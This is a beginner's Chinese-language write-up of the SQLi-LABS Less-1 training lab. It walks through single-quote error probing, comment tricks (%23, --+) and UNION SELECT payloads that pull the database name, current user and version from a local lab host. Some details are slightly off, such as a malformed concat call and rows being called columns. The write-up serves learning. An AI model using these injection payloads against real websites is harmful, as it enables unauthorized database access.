SQLi-LABS less-1通关总结(纯小白向)
先来看看题目
主要是了解单引号在sql注入中的用法。
请输入数字参数作为ID的值。
开始尝试测试
在hackbar中输入:
http://192.168.58.131:86/Less-1/?id=1
更改id的值分别获得不同的name和passwd,当id值为15时,显示为空,说明表中的数据只有14列。
尝试输入单引号
在hackbar中输入:
http://192.168.58.131:86/Less-1/?id=1’
网页显示出现语法错误,问题出现在:
‘1’’ LIMIT 0,1
那么可以猜测sql中的语法大概是:
select * from [DATABASE] where id=‘输入值’ LIMIT 0,1
输入值即为?id=
之后的字符串。
如果想使用单引号而又不出现上述问题,只能对其注释。
mysql中的注释主要可以分为三种:
#
:注释从“#”
字符到行尾;--
:注释从“–”序列到行尾,使用时后面需要加上“+”
,如“--+”
;/* */
:注释从/*
序列到后面的*/
序列中间的字符。
可用在此处的注释只有前两种。
- 首先使用
#
注释:
http://192.168.58.131:86/Less-1/?id=1’ #
这里显示#
没有作用,网址上显示为:
http://192.168.58.131:86/Less-1/?id=1%27%20#
#
没有被解释为十六进制数字,查看其ASCII码为35,十六进制%23,更改后输入,这里证明’ LIMIT 0,1
已被注释。
2. 使用“--+”
注释
http://192.168.58.131:86/Less-1/?id=1’ --+
尝试获取数据库名称
http://192.168.58.131:86/Less-1/?id=-1’ union select 1,2,3 --+
这里输入id值为-1
,可以让数据库查询值为空,从而执行后面的联合查询 select 1,2,3
用联合查询的值代替id查询的值,至于为什么是1,2,3
,可以自己尝试当输入为1
或者1,2
时均会返回参数错误,也是重复尝试出来的。
判断出参数后就可以使用其他函数查询出数据库相关内容:
http://192.168.58.131:86/Less-1/?id=-1’ union select 2,3,concat(database(),',',current_user(),',',','version()) --+
concat()或者concat_ws()函数都可,均为可以一次查询多个数据。
第一次学习大概就这些了,主要是了解了基本sql语法、单引号使用和查询函数。